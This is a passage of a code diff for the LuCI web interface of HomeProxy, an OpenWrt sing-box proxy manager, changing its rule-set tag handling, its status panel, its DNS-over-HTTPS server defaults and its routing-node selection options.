(tagEl.value || '').trim(); + hintEl.textContent = ''; + + if (!tag) { + nameEl.value = ''; + button.disabled = true; + return; + } + + if (!tag.match(/^[A-Za-z0-9_.-]+$/)) { + nameEl.value = ''; + button.disabled = true; + hintEl.textContent = _('Expecting: %s').format(_('valid tag')); + return; + } + + let duplicate = false; + uci.sections(uciconfig, 'ruleset', (res) => { + if ((res.tag || ('cfg-' + res['.name'] + '-rule')) === tag) + duplicate = true; + }); + + if (duplicate) { + nameEl.value = ''; + button.disabled = true; + hintEl.textContent = _('Expecting: %s').format(_('unique value')); + return; + } + + let section_id = normalizeRuleSetSectionId(tag), + suffix = 1; + while (uci.get(uciconfig, section_id)) + section_id = normalizeRuleSetSectionId(tag) + '_' + suffix++; + + nameEl.value = section_id; + nameEl.dataset.sectionId = section_id; + nameEl.dataset.ruleSetTag = tag; + button.disabled = null; + }; + + tagEl.addEventListener('input', syncSectionName); + tagEl.addEventListener('blur', syncSectionName); + + button.addEventListener('click', () => { + syncSectionName(); + + let tag = nameEl.dataset.ruleSetTag, + section_id = nameEl.dataset.sectionId; + + window.setTimeout(() => { + if (tag && section_id && uci.get(uciconfig, section_id)) { + uci.set(uciconfig, section_id, 'tag', tag); + uci.set(uciconfig, section_id, 'label', tag); + uci.set(uciconfig, section_id, 'enabled', '1'); + uci.set(uciconfig, section_id, 'type', 'remote'); + uci.set(uciconfig, section_id, 'format', 'binary'); + uci.set(uciconfig, section_id, 'remote_path', '/etc/homeproxy/ruleset/'); + uci.set(uciconfig, section_id, 'auto_update', '1'); + uci.set(uciconfig, section_id, 'update_interval', '0 0 * * *'); + } + }, 0); + }); + + return el; } let stubValidator = { @@ -83,20 +407,28 @@ return view.extend({ uci.load('homeproxy'), hp.getBuiltinFeatures(), network.getHostHints(), - hpDiagnostics.load() + L.resolveDefault(callPackageVersion(), {}) ]); }, render(data) { let m, s, o, ss, so; - let features = data[1], - hosts = data[2]?.hosts; + installKnownErrorTranslator(); + hp.installCloseButtonText(); - hpDiagnostics.show(data[3]); + let features = data[1], + hosts = data[2]?.hosts, + packageVersion = data[3]?.version || '-', + routingMode = uci.get(data[0], 'config', 'routing_mode'); /* Cache all configured proxy nodes, they will be called multiple times */ let proxy_nodes = {}; + let subscription_groups = {}; + let routing_groups = {}; + let normalizeFormList = function(value) { + return Array.isArray(value) ? value : (value ? [value] : []); + }; uci.sections(data[0], 'node', (res) => { let nodeaddr = ((res.type === 'direct') ? res.override_address : res.address) || '', nodeport = ((res.type === 'direct') ? res.override_port : res.port) || ''; @@ -105,53 +437,118 @@ return view.extend({ String.format('[%s] %s', res.type, res.label || ((stubValidator.apply('ip6addr', nodeaddr) ? String.format('[%s]', nodeaddr) : nodeaddr) + ':' + nodeport)); }); + let subscriptionUrls = normalizeFormList(uci.get(data[0], 'subscription', 'subscription_url')), + subscriptionNames = normalizeFormList(uci.get(data[0], 'subscription', 'subscription_name')); + for (let i = 0; i < subscriptionUrls.length; i++) { + let url = subscriptionUrls[i], + title = String(subscriptionNames[i] || '').trim(); - let renderDashboardButton = function() { - return hpDashboard.renderButton(uci, data[0]); - }; + if (title) + subscription_groups[hp.calcStringMD5(url.replace(/#.*$/, ''))] = title; + } + uci.sections(data[0], 'routing_node', (res) => { + routing_groups[res['.name']] = res.label || res['.name']; + }); + let collectSelectedRoutingNodes = function(groups, subscription_nodes, selected_nodes, policy_nodes, section_id) { + let nodes = []; + groups = normalizeFormList(groups); + subscription_nodes = normalizeFormList(subscription_nodes); + selected_nodes = normalizeFormList(selected_nodes); + policy_nodes = normalizeFormList(policy_nodes); - let addSelectableOutbounds = function(option, section_id, include_routing_nodes) { - hpRoutingNode.addSelectableOutbounds(option, data[0], proxy_nodes, section_id, include_routing_nodes); - }; + uci.sections(data[0], 'node', (res) => { + if (res.grouphash && groups.includes(res.grouphash) && !nodes.includes(res['.name'])) + nodes.push(res['.name']); + }); + for (let node of subscription_nodes) + if (proxy_nodes[node] && !nodes.includes(node)) + nodes.push(node); + for (let node of selected_nodes) + if (proxy_nodes[node] && !nodes.includes(node)) + nodes.push(node); + for (let node of policy_nodes) + if (node !== section_id && routing_groups[node] && !nodes.includes(node)) + nodes.push(node); - let routing_node_names = hpRoutingNode.buildRoutingNodeNames(data[0]); - - let nodeFilterPreviewName = function(node_id) { - return hpRoutingNode.nodeDisplayName(node_id, proxy_nodes, routing_node_names); - }; - - let currentOptionValue = function(section, section_id, option, fallback) { - let opt = section.map.lookupOption(option, section_id)?.[0]; - if (opt) { - let value = opt.formvalue(section_id); - if (value != null) - return value; - } - - let value = section.formvalue(section_id, option); - return (value != null) ? value : fallback; - }; - - let pathCache = {}; - let selectorHasPath = function(start, target, seen) { - return hpRoutingNode.selectorHasPath(data[0], start, target, pathCache, seen || {}); + return nodes; }; m = new form.Map('homeproxy', _('HomeProxy'), - _('The modern ImmortalWrt proxy platform for ARM64/AMD64.')); + _('OpenWrt-designed Sing-box proxy management platform. It is recommended to disable Dnsmasq DNS redirection.')); s = m.section(form.TypedSection); s.render = function () { poll.add(function () { - return L.resolveDefault(getServiceStatus()).then((res) => { - let view = document.getElementById('service_status'); - view.innerHTML = renderStatus(res, features.version); - }); - }); + return Promise.all([ + L.resolveDefault(getServiceStatus(), false), + L.resolveDefault(callCurrentNode(), null) + ]).then((res) => { + let isRunning = res[0], + current = res[1], + current_label = null; - return E('div', { class: 'cbi-section', id: 'status_bar' }, [ - E('p', { id: 'service_status' }, _('Collecting data...')), - renderDashboardButton() || '' + if (current?.mode === 'urltest') { + let active = current.active || {}; + let nodeName = (active?.id && active.id !== 'urltest') ? (proxy_nodes[active.id] || active.label || active.id) : _('Invalid node'); + + current_label = _('URLTest: %s').format(nodeName); + } + + updateCoreStatus(isRunning, current_label); + }); + }); + + let actions = [ + E('button', { + 'class': 'btn cbi-button cbi-button-action', + 'click': ui.createHandlerFn(this, () => callRCInit('homeproxy', 'reload')) + }, [ _('Reload Service') ]), + E('button', { + 'class': 'btn cbi-button cbi-button-negative', + 'click': ui.createHandlerFn(this, () => callRCInit('homeproxy', 'restart')) + }, [ _('Restart Service') ]) + ]; + + if (routingMode === 'custom') { + actions.push( + E('button', { + 'class': 'btn cbi-button cbi-button-positive', + 'click': ui.createHandlerFn(this, updateDashboard) + }, [ _('Update Panel') ]), + E('button', { + 'class': 'btn cbi-button cbi-button-action', + 'click': ui.createHandlerFn(this, (ev) => hp.uploadPanel(null, ev)) + }, [ _('Upload Panel ZIP') ]), + E('button', { + 'class': 'btn cbi-button cbi-button-action', + 'click': ui.createHandlerFn(this, openDashboard) + }, [ _('Open Panel') ]) + ); + } + + return E('div', { class: 'cbi-section', id: 'homeproxy_status_panel' }, [ + E('style', [ statusCss ]), + E('h3', _('Status')), + E('div', { class: 'homeproxy-status-grid' }, [ + E('div', { class: 'homeproxy-status-field homeproxy-version-field' }, [ + E('div', { class: 'homeproxy-status-label' }, _('Plugin Version')), + E('input', { class: 'cbi-input-text', readonly: '', value: packageVersion }) + ]), + E('div', { class: 'homeproxy-status-field homeproxy-core-version-field' }, [ + E('div', { class: 'homeproxy-status-label' }, _('Core Version')), + E('input', { class: 'cbi-input-text', readonly: '', value: features.version || '-' }) + ]), + E('div', { class: 'homeproxy-status-field homeproxy-core-status-field' }, [ + E('div', { class: 'homeproxy-status-label' }, _('Core Status')), + E('input', { + id: 'homeproxy_core_status', + class: 'cbi-input-text homeproxy-core-status', + readonly: '', + value: _('Collecting data...') + }) + ]), + E('div', { class: 'homeproxy-status-actions' }, actions) + ]) ]); } @@ -193,7 +590,7 @@ return view.extend({ o.value('urltest', _('URLTest')); for (let i in proxy_nodes) o.value(i, proxy_nodes[i]); - o.default = 'nil'; + o.default = 'same'; o.depends({'routing_mode': /^((?!custom).)+$/, 'proxy_mode': /^((?!redirect$).)+$/}); o.rmempty = false; @@ -219,14 +616,13 @@ return view.extend({ o = s.taboption('routing', form.Value, 'dns_server', _('DNS server'), _('Support UDP, TCP, DoH, DoQ, DoT. TCP protocol will be used if not specified.')); o.value('wan', _('WAN DNS (read from interface)')); - o.value('1.1.1.1', _('CloudFlare Public DNS (1.1.1.1)')); - o.value('208.67.222.222', _('Cisco Public DNS (208.67.222.222)')); - o.value('8.8.8.8', _('Google Public DNS (8.8.8.8)')); - o.value('', '---'); - o.value('223.5.5.5', _('Aliyun Public DNS (223.5.5.5)')); - o.value('119.29.29.29', _('Tencent Public DNS (119.29.29.29)')); - o.value('117.50.10.10', _('ThreatBook Public DNS (117.50.10.10)')); - o.default = '8.8.8.8'; + o.value('https://dns.cloudflare.com/dns-query', _('CloudFlare Public DNS (DoH)')); + o.value('https://dns.google/dns-query', _('Google Public DNS (DoH)')); + o.value('https://dns.quad9.net/dns-query', _('Quad9 Public DNS (DoH)')); + o.value('https://dns.adguard-dns.com/dns-query', _('AdGuard Public DNS (DoH)')); + o.value('https://dns.sb/dns-query', _('DNS.SB Public DNS (DoH)')); + o.value('https://dns.opendns.com/dns-query', _('Cisco Public DNS (DoH)')); + o.default = 'https://dns.quad9.net/dns-query'; o.rmempty = false; o.depends({'routing_mode': 'custom', '!reverse': true}); o.validate = function(section_id, value) { @@ -257,12 +653,11 @@ return view.extend({ o = s.taboption('routing', form.Value, 'china_dns_server', _('China DNS server'), _('The dns server for resolving China domains. Support UDP, TCP, DoH, DoQ, DoT.')); o.value('wan', _('WAN DNS (read from interface)')); - o.value('223.5.5.5', _('Aliyun Public DNS (223.5.5.5)')); - o.value('210.2.4.8', _('CNNIC Public DNS (210.2.4.8)')); - o.value('119.29.29.29', _('Tencent Public DNS (119.29.29.29)')); - o.value('117.50.10.10', _('ThreatBook Public DNS (117.50.10.10)')); + o.value('https://doh-pure.onedns.net/dns-query', _('ThreatBook Public DNS (DoH)')); + o.value('https://doh.pub/dns-query', _('Tencent Public DNS (DoH)')); + o.value('https://dns.alidns.com/dns-query', _('AliYun Public DNS (DoH)')); o.depends('routing_mode', 'bypass_mainland_china'); - o.default = '223.5.5.5'; + o.default = 'https://dns.alidns.com/dns-query'; o.rmempty = false; o.validate = function(section_id, value) { if (section_id && !['wan'].includes(value)) { @@ -365,13 +760,6 @@ return view.extend({ desc.innerHTML = _('Less compatibility and sometimes better performance.'); } - so = ss.option(form.Flag, 'endpoint_independent_nat', _('Enable endpoint-independent NAT'), - _('Performance may degrade slightly, so it is not recommended to enable on when it is not needed.')); - so.default = so.enabled; - so.depends('tcpip_stack', 'mixed'); - so.depends('tcpip_stack', 'gvisor'); - so.rmempty = false; - so = ss.option(form.Value, 'udp_timeout', _('UDP NAT expiration time'), _('In seconds.')); so.datatype = 'uinteger'; @@ -394,7 +782,7 @@ return view.extend({ so.default = so.enabled; so.rmempty = false; - so = ss.option(form.ListValue, 'default_outbound', _('Default outbound'), + so = ss.option(form.ListValue, 'default_outbound', _('Default outbound (fallback)'), _('Default outbound for connections not matched by any routing rules.')); so.load = function(section_id) { delete this.keylist; @@ -458,12 +846,50 @@ return view.extend({ so = ss.option(form.ListValue, 'node', _('Node'), _('Outbound node')); - so.value('urltest', _('URLTest')); - so.value('selector', _('Selector')); + so.value('urltest', _('Auto select')); + so.value('selector', _('Manual select')); for (let i in proxy_nodes) so.value(i, proxy_nodes[i]); - so.validate = L.bind(hp.validateUniqueValue, this, data[0], 'routing_node', 'node'); - so.editable = true; + so.default = 'selector'; + so.rmempty = false; + so.formvalue = function(section_id) { + let widget = this.getUIElement(section_id), + cbid = this.cbid(section_id), + overlay = document.getElementById('modal_overlay'), + input = null; + + if (overlay) + for (let el of overlay.querySelectorAll('input, select')) + if (el.id === cbid || el.name === cbid) { + input = el; + break; + } + + return widget?.getValue() || + input?.value || + uci.get(data[0], section_id, 'node') || + this.default || + 'selector'; + } + so.validate = function(section_id, value) { + value = value || this.formvalue(section_id); + + let result = hp.validateUniqueValue(data[0], 'routing_node', 'node', section_id, value); + if (result !== true) + return result; + + if (section_id && (value === 'urltest' || value === 'selector')) { + let groups = normalizeFormList(this.section.formvalue(section_id, 'subscription_groups')), + subscription_nodes = normalizeFormList(this.section.formvalue(section_id, 'subscription_nodes')), + selected = normalizeFormList(this.section.formvalue(section_id, 'selected_nodes')), + policy_nodes = normalizeFormList(this.section.formvalue(section_id, 'policy_nodes')); + + if (!groups.length && !subscription_nodes.length && !selected.length && !policy_nodes.length) + return _('Expecting: %s').format(_('non-empty value')); + } + + return true; + } so = ss.option(form.ListValue, 'domain_resolver', _('Domain resolver'), _('For resolving domain name in the server address.')); @@ -481,14 +907,14 @@ return view.extend({ return this.super('load', section_id); } - so.depends({'node': /^((?!(urltest|selector)$).)+$/}); + so.depends('node', /^((?!(urltest|selector)$).)+$/); so.modalonly = true; so = ss.option(form.ListValue, 'domain_strategy', _('Domain strategy'), _('The domain strategy for resolving the domain name in the address.')); for (let i in hp.dns_strategy) so.value(i, hp.dns_strategy[i]); - so.depends({'node': /^((?!(urltest|selector)$).)+$/}); + so.depends('node', /^((?!(urltest|selector)$).)+$/); so.modalonly = true; so = ss.option(widgets.DeviceSelect, 'bind_interface', _('Bind interface'), @@ -513,196 +939,118 @@ return view.extend({ return this.super('load', section_id); } so.validate = function(section_id, value) { - if (section_id && value && selectorHasPath(value, section_id, {})) - return _('Recursive outbound detected!'); + if (section_id && value) { + let node = this.section.formvalue(section_id, 'node'); + + let conflict = false; + uci.sections(data[0], 'routing_node', (res) => { + if (res['.name'] !== section_id) { + if (res.outbound === section_id && res['.name'] == value) + conflict = true; + else if (res.node === 'urltest' && normalizeFormList(res.urltest_nodes).includes(node) && res['.name'] == value) + conflict = true; + else if (res.node === 'urltest' && normalizeFormList(res.subscription_nodes).includes(node) && res['.name'] == value) + conflict = true; + else if (res.node === 'urltest' && normalizeFormList(res.selected_nodes).includes(node) && res['.name'] == value) + conflict = true; + else if (res.node === 'selector' && normalizeFormList(res.selected_nodes).includes(node) && res['.name'] == value) + conflict = true; + else if (res.node === 'selector' && normalizeFormList(res.subscription_nodes).includes(node) && res['.name'] == value) + conflict = true; + } + }); + if (conflict) + return _('Recursive outbound detected!'); + } return true; } - so.depends({'node': /^((?!(urltest|selector)$).)+$/}); + so.depends('node', /^((?!(urltest|selector)$).)+$/); so.editable = true; - so = ss.option(hp.CBIStaticList, 'urltest_nodes', _('URLTest nodes'), - _('List of nodes to test.')); - for (let i in proxy_nodes) - so.value(i, proxy_nodes[i]); + so = ss.option(hp.CBIMultiValue, 'subscription_groups', _('Subscriptions')); + for (let hash in subscription_groups) + so.value(hash, subscription_groups[hash]); so.depends('node', 'urltest'); - so.validate = function(section_id) { - let value = hpNodeFilter.normalizeNodeList(currentOptionValue(this.section, section_id, 'urltest_nodes', [])); - let node_filter = currentOptionValue(this.section, section_id, 'node_filter', ''); - if (section_id && !value.length && !node_filter) - return _('Expecting: %s').format(_('non-empty value')); - - return true; - } + so.depends('node', 'selector'); + so.rmempty = true; so.modalonly = true; - so = ss.option(hp.CBIStaticList, 'selector_nodes', _('Selector nodes'), - _('List of manually selectable nodes.')); + so = ss.option(hp.CBIMultiValue, 'subscription_nodes', _('Subscription nodes'), + _('List of nodes from subscriptions.')); + uci.sections(data[0], 'node', (res) => { + if (res.grouphash) + so.value(res['.name'], proxy_nodes[res['.name']]); + }); + so.depends('node', 'urltest'); + so.depends('node', 'selector'); + so.rmempty = true; + so.modalonly = true; + + so = ss.option(hp.CBIMultiValue, 'selected_nodes', _('Custom nodes')); + uci.sections(data[0], 'node', (res) => { + if (!res.grouphash) + so.value(res['.name'], proxy_nodes[res['.name']]); + }); + so.depends('node', 'urltest'); + so.depends('node', 'selector'); + so.rmempty = true; + so.modalonly = true; + + so = ss.option(hp.CBIMultiValue, 'policy_nodes', _('Policy nodes'), + _('List of policy groups.')); so.load = function(section_id) { delete this.keylist; delete this.vallist; - addSelectableOutbounds(this, section_id, true); - - return this.super('load', section_id); - } - so.depends('node', 'selector'); - so.validate = function(section_id) { - let value = hpNodeFilter.normalizeNodeList(currentOptionValue(this.section, section_id, 'selector_nodes', [])); - let node_filter = currentOptionValue(this.section, section_id, 'node_filter', ''); - if (section_id && !value.length && !node_filter) - return _('Expecting: %s').format(_('non-empty value')); - for (let i in value) - if (selectorHasPath(value[i], section_id, {})) - return _('Recursive outbound detected!'); - - return true; - } - so.modalonly = true; - - so = ss.option(form.Value, 'node_filter', _('Node regex'), - _('Use POSIX ERE syntax. Lookahead/lookbehind such as (?!) and (?<=) are unsupported.') + - '
' + - _('Maximum regex length is 512 characters; preview and generation cap regex-expanded nodes to prevent oversized groups.') + - '
' + - _('Effective nodes are recalculated automatically after saving and applying manual node changes, or after manual/scheduled subscription updates finish.')); - so.depends('node', 'urltest'); - so.depends('node', 'selector'); - so.forcewrite = true; - so.write = function(section_id, value) { - // LuCI 的字段校验是同步的,RPC 校验放在 write() 里让保存流程等待结果。 - return hpNodeFilter.validate(value).then((res) => { - if (!res.result) { - let message = _('Expecting: %s').format(_('valid regular expression')); - if (res.error) - message += ': ' + res.error; - - return Promise.reject(new TypeError(message)); - } - - return this.map.data.set( - this.uciconfig ?? this.section.uciconfig ?? this.map.config, - this.ucisection ?? section_id, - this.ucioption ?? this.option, - value); + uci.sections(data[0], 'routing_node', (res) => { + if (res['.name'] !== section_id && res.enabled === '1' && ['urltest', 'selector'].includes(res.node)) + this.value(res['.name'], res.label || res['.name']); }); - } - so.modalonly = true; - - so = ss.option(form.Value, 'node_filter_exclude', _('Node exclude regex'), - _('Exclude proxy nodes whose labels match this regex from the final effective node set, including manually selected nodes. Leave empty to exclude nothing. To exclude from all nodes, set the Node regex above to .*')); - so.depends('node', 'urltest'); - so.depends('node', 'selector'); - so.forcewrite = true; - so.write = function(section_id, value) { - // 同 node_filter:RPC 校验放在 write() 里让保存流程等待结果。 - return hpNodeFilter.validate(value).then((res) => { - if (!res.result) { - let message = _('Expecting: %s').format(_('valid regular expression')); - if (res.error) - message += ': ' + res.error; - - return Promise.reject(new TypeError(message)); - } - - return this.map.data.set( - this.uciconfig ?? this.section.uciconfig ?? this.map.config, - this.ucisection ?? section_id, - this.ucioption ?? this.option, - value); - }); - }; - so.modalonly = true; - - so = ss.option(form.DummyValue, '_node_filter_preview', _('Effective nodes')); - so.depends('node', 'urltest'); - so.depends('node', 'selector'); - so.renderWidget = function(section_id) { - let container = E('div', { 'class': 'homeproxy-node-filter-preview' }); - let request_id = 0, - timer = null; - - let refresh = () => { - if (!document.body.contains(container)) - return; - - let current_id = ++request_id, - node = currentOptionValue(this.section, section_id, 'node', ''), - node_filter = currentOptionValue(this.section, section_id, 'node_filter', '') || '', - node_filter_exclude = currentOptionValue(this.section, section_id, 'node_filter_exclude', '') || '', - manual_nodes = []; - - if (!String(node_filter).trim() && !String(node_filter_exclude).trim()) { - hpNodeFilter.setPreviewVisible(container, false); - dom.content(container, ''); - return; - } - - hpNodeFilter.setPreviewVisible(container, true); - dom.content(container, _('Loading...')); - - if (node === 'urltest') - manual_nodes = hpNodeFilter.normalizeNodeList(currentOptionValue(this.section, section_id, 'urltest_nodes', [])); - else if (node === 'selector') - manual_nodes = hpNodeFilter.normalizeNodeList(currentOptionValue(this.section, section_id, 'selector_nodes', [])); - - hpNodeFilter.preview( - manual_nodes, - node_filter, - node_filter_exclude, - node - ).then((res) => { - if (current_id === request_id) - hpNodeFilter.renderPreview(container, res, nodeFilterPreviewName); - }); - }; - - let schedule = () => { - if (!document.body.contains(container)) - return; - - if (timer) - window.clearTimeout(timer); - - timer = window.setTimeout(refresh, 150); - }; - - window.setTimeout(() => { - let scope = container.closest('.cbi-modal') || - container.closest('.modal') || - container.closest('.cbi-section') || - container.parentNode; - - if (scope) { - scope.addEventListener('input', schedule, true); - scope.addEventListener('change', schedule, true); - scope.addEventListener('click', schedule, true); - } - - schedule(); - }); - - return container; - } - so.modalonly = true; - - so = ss.option(form.ListValue, 'selector_default', _('Default selector node')); - so.load = function(section_id) { - delete this.keylist; - delete this.vallist; - - this.value('', _('Default')); - addSelectableOutbounds(this, section_id, true); return this.super('load', section_id); } so.validate = function(section_id, value) { - if (section_id && value && selectorHasPath(value, section_id, {})) + if (normalizeFormList(value).includes(section_id)) return _('Recursive outbound detected!'); return true; } so.depends('node', 'selector'); + so.rmempty = true; + so.modalonly = true; + + so = ss.option(form.ListValue, 'selector_default', _('Default node')); + so.load = function(section_id) { + delete this.keylist; + delete this.vallist; + + let groups = normalizeFormList(this.section.formvalue(section_id, 'subscription_groups')), + subscription_nodes = normalizeFormList(this.section.formvalue(section_id, 'subscription_nodes')), + selected = normalizeFormList(this.section.formvalue(section_id, 'selected_nodes')), + policy_nodes = normalizeFormList(this.section.formvalue(section_id, 'policy_nodes')); + + this.value('', _('Default')); + for (let node of collectSelectedRoutingNodes(groups, subscription_nodes, selected, policy_nodes, section_id)) + this.value(node, proxy_nodes[node] || routing_groups[node]); + + return this.super('load', section_id); + } + so.validate = function(section_id, value) { + if (!value) + return true; + + let groups = normalizeFormList(this.section.formvalue(section_id, 'subscription_groups')), + subscription_nodes = normalizeFormList(this.section.formvalue(section_id, 'subscription_nodes')), + selected = normalizeFormList(this.section.formvalue(section_id, 'selected_nodes')), + policy_nodes = normalizeFormList(this.section.formvalue(section_id, 'policy_nodes')); + + if (!collectSelectedRoutingNodes(groups, subscription_nodes, selected, policy_nodes, section_id).includes(value)) + return _('Invalid node'); + + return true; + } + so.depends('node', 'selector'); so.modalonly = true; so = ss.option(form.Flag, 'selector_interrupt_exist_connections', _('Interrupt existing connections'), @@ -796,13 +1144,7 @@ return view.extend({ so.editable = true; so = ss.taboption('field_other', form.ListValue, 'mode', _('Mode'), - _('The default rule uses the following matching logic:
' + - '(domain || domain_suffix || domain_keyword || domain_regex || ip_cidr || ip_is_private) &&
' + - '(port || port_range) &&
' + - '(source_ip_cidr || source_ip_is_private) &&
' + - '(source_port || source_port_range) &&
' + - 'other fields.
' + - 'Additionally, included rule sets can be considered merged rather than as a single rule sub-item.')); + _('In default mode, rule fields are matched by category. Any condition in the same category can match, while different categories must match at the same time. Rule sets are merged into the rule for matching and are not treated as separate sub-rules.')); so.value('default', _('Default')); so.default = 'default'; so.rmempty = false; @@ -854,7 +1196,7 @@ return view.extend({ uci.sections(data[0], 'ruleset', (res) => { if (res.enabled === '1') - this.value(res['.name'], res.label); + this.value(res['.name'], res.tag || res.label); }); return this.super('load', section_id); @@ -885,8 +1227,10 @@ return view.extend({ delete this.vallist; this.value('direct-out', _('Direct')); - this.value('block-out', _('Block')); - addSelectableOutbounds(this, section_id, true); + uci.sections(data[0], 'routing_node', (res) => { + if (res.enabled === '1') + this.value(res['.name'], res.label); + }); return this.super('load', section_id); } @@ -985,8 +1329,8 @@ return view.extend({ so.depends('action', 'resolve'); so.modalonly = true; - so = ss.taboption('field_other', form.Flag, 'resolve_disable_cache', _('Disable DNS cache'), - _('Disable DNS cache in this query.')); + so = ss.taboption('field_other', form.Flag, 'resolve_disable_cache', _('Disable DNS memory cache'), + _('Disable DNS memory cache in this query.')); so.depends('action', 'resolve'); so.modalonly = true; @@ -1080,7 +1424,8 @@ return view.extend({ for (let i in hp.dns_strategy) so.value(i, hp.dns_strategy[i]); - so = ss.option(form.ListValue, 'default_server', _('Default DNS server')); + so = ss.option(form.ListValue, 'default_server', _('Default DNS server'), + _('Daily domain name resolution for clients. Choose an overseas DNS if DNS leak protection is required.')); so.load = function(section_id) { delete this.keylist; delete this.vallist; @@ -1097,13 +1442,13 @@ return view.extend({ so.default = 'default-dns'; so.rmempty = false; - so = ss.option(form.Flag, 'disable_cache', _('Disable DNS cache')); + so = ss.option(form.Flag, 'disable_cache', _('Disable DNS memory cache')); - so = ss.option(form.Flag, 'disable_cache_expire', _('Disable cache expire')); + so = ss.option(form.Flag, 'disable_cache_expire', _('Disable DNS memory cache expiration')); so.depends('disable_cache', '0'); - so = ss.option(form.Flag, 'independent_cache', _('Independent cache per server'), - _('Make each DNS server\'s cache independent for special purposes. If enabled, will slightly degrade performance.')); + so = ss.option(form.Flag, 'independent_cache', _('Independent DNS memory cache per server'), + _('Make each DNS server\'s memory cache independent for special purposes. If enabled, will slightly degrade performance.')); so.depends('disable_cache', '0'); so = ss.option(form.Value, 'client_subnet', _('EDNS Client subnet'), @@ -1111,14 +1456,6 @@ return view.extend({ 'If value is an IP address instead of prefix, /32 or /128 will be appended automatically.')); so.datatype = 'or(cidr, ipaddr)'; - so = ss.option(form.Flag, 'cache_file_store_rdrc', _('Store RDRC'), - _('Store rejected DNS response cache.
' + - 'The check results of Address filter DNS rule items will be cached until expiration.')); - - so = ss.option(form.Value, 'cache_file_rdrc_timeout', _('RDRC timeout'), - _('Timeout of rejected DNS response cache in seconds. 604800 (7d) is used by default.')); - so.datatype = 'uinteger'; - so.depends('cache_file_store_rdrc', '1'); /* DNS settings end */ /* DNS servers start */ @@ -1156,21 +1493,72 @@ return view.extend({ so.rmempty = false; so = ss.option(form.Value, 'server', _('Address'), - _('The address of the dns server.')); - so.datatype = 'or(hostname, ipaddr)'; + _('Full URL, e.g. https://dns.alidns.com/dns-query')); + so.placeholder = ''; + so.validate = function(section_id, value) { + let type = this.section.formvalue(section_id, 'type') || + uci.get(data[0], section_id, 'type') || + 'udp'; + + if (!validateDnsServerAddress(type, value)) + return _('Expecting: %s').format(_('valid DNS server address')); + + return true; + } + so.renderWidget = function(section_id, option_index, cfgvalue) { + let node = form.Value.prototype.renderWidget.apply(this, arguments), + input = node.querySelector('input'), + update = () => { + let type = this.section.formvalue(section_id, 'type') || + uci.get(data[0], section_id, 'type') || + 'udp'; + if (input) + input.placeholder = getDnsServerAddressPlaceholder(type); + }; + + update(); + requestAnimationFrame(() => { + let type_input = document.getElementById(this.cbid(section_id).replace(/\.server$/, '.type')); + if (type_input) { + type_input.addEventListener('change', update); + update(); + } + }); + + return node; + } so.rmempty = false; so = ss.option(form.Value, 'server_port', _('Port'), - _('The port of the DNS server.')); - so.placeholder = 'auto'; + _('Leave empty to use the default port.')); + so.placeholder = '53'; so.datatype = 'port'; + so.renderWidget = function(section_id, option_index, cfgvalue) { + let node = form.Value.prototype.renderWidget.apply(this, arguments), + input = node.querySelector('input'), + update = () => { + let type = this.section.formvalue(section_id, 'type') || + uci.get(data[0], section_id, 'type') || + 'udp'; + if (input) + input.placeholder = getDnsServerDefaultPort(type); + }; - so = ss.option(form.Value, 'path', _('Path'), - _('The path of the DNS server.')); - so.placeholder = '/dns-query'; - so.depends('type', 'https'); - so.depends('type', 'h3'); - so.modalonly = true; + update(); + requestAnimationFrame(() => { + let type_input = document.getElementById(this.cbid(section_id).replace(/\.server_port$/, '.type')); + if (type_input) { + type_input.addEventListener('change', update); + update(); + } + }); + + return node; + } + so.depends('type', 'udp'); + so.depends('type', 'tcp'); + so.depends('type', 'tls'); + so.depends('type', 'quic'); so = ss.option(form.DynamicList, 'headers', _('Headers'), _('Additional headers to be sent to the DNS server.')); @@ -1187,7 +1575,7 @@ return view.extend({ so.modalonly = true; so = ss.option(form.ListValue, 'address_resolver', _('Address resolver'), - _('Tag of a another server to resolve the domain name in the address. Required if address contains domain.')); + _('Used to resolve DNS server addresses in domain form. IP addresses do not require it.')); so.load = function(section_id) { delete this.keylist; delete this.vallist; @@ -1232,7 +1620,6 @@ return view.extend({ delete this.vallist; this.value('direct-out', _('Direct')); - this.value('block-out', _('Block')); uci.sections(data[0], 'routing_node', (res) => { if (res.enabled === '1') this.value(res['.name'], res.label); @@ -1275,13 +1662,7 @@ return view.extend({ so.editable = true; so = ss.taboption('field_other', form.ListValue, 'mode', _('Mode'), - _('The default rule uses the following matching logic:
' + - '(domain || domain_suffix || domain_keyword || domain_regex) &&
' + - '(port || port_range) &&
' + - '(source_ip_cidr || source_ip_is_private) &&
' + - '(source_port || source_port_range) &&
' + - 'other fields.
' + - 'Additionally, included rule sets can be considered merged rather than as a single rule sub-item.')); + _('In default mode, rule fields are matched by category. Any condition in the same category can match, while different categories must match at the same time. Rule sets are merged into the rule for matching and are not treated as separate sub-rules.')); so.value('default', _('Default')); so.default = 'default'; so.rmempty = false; @@ -1326,7 +1707,7 @@ return view.extend({ uci.sections(data[0], 'ruleset', (res) => { if (res.enabled === '1') - this.value(res['.name'], res.label); + this.value(res['.name'], res.tag || res.label); }); return this.super('load', section_id); @@ -1380,8 +1761,8 @@ return view.extend({ so.depends('action', 'route'); so.modalonly = true; - so = ss.taboption('field_other', form.Flag, 'dns_disable_cache', _('Disable dns cache'), - _('Disable cache and save cache in this query.')); + so = ss.taboption('field_other', form.Flag, 'dns_disable_cache', _('Disable DNS memory cache'), + _('Disable DNS memory cache and persistent cache in this query.')); so.depends('action', 'route'); so.depends('action', 'route-options'); so.modalonly = true; @@ -1521,13 +1902,37 @@ return view.extend({ ss.nodescriptions = true; ss.modaltitle = L.bind(hp.loadModalTitle, this, _('Rule set'), _('Add a rule set'), data[0]); ss.sectiontitle = L.bind(hp.loadDefaultLabel, this, data[0]); - ss.renderSectionAdd = L.bind(hp.renderSectionAdd, this, ss); + ss.renderSectionAdd = L.bind(renderRuleSetAdd, this, ss); so = ss.option(form.Value, 'label', _('Label')); so.load = L.bind(hp.loadDefaultLabel, this, data[0]); so.validate = L.bind(hp.validateUniqueValue, this, data[0], 'ruleset', 'label'); so.modalonly = true; + so = ss.option(form.Value, 'tag', _('Tag'), + _('Used by sing-box rule sets. Please fill it in yourself.')); + so.rmempty = false; + so.validate = function(section_id, value) { + if (section_id) { + if (!value) + return _('Expecting: %s').format(_('non-empty value')); + if (!value.match(/^[A-Za-z0-9_.-]+$/)) + return _('Expecting: %s').format(_('valid tag')); + + let duplicate = false; + uci.sections(data[0], 'ruleset', (res) => { + if (res['.name'] !== section_id) + if ((res.tag || ('cfg-' + res['.name'] + '-rule')) === value) + duplicate = true; + }); + if (duplicate) + return 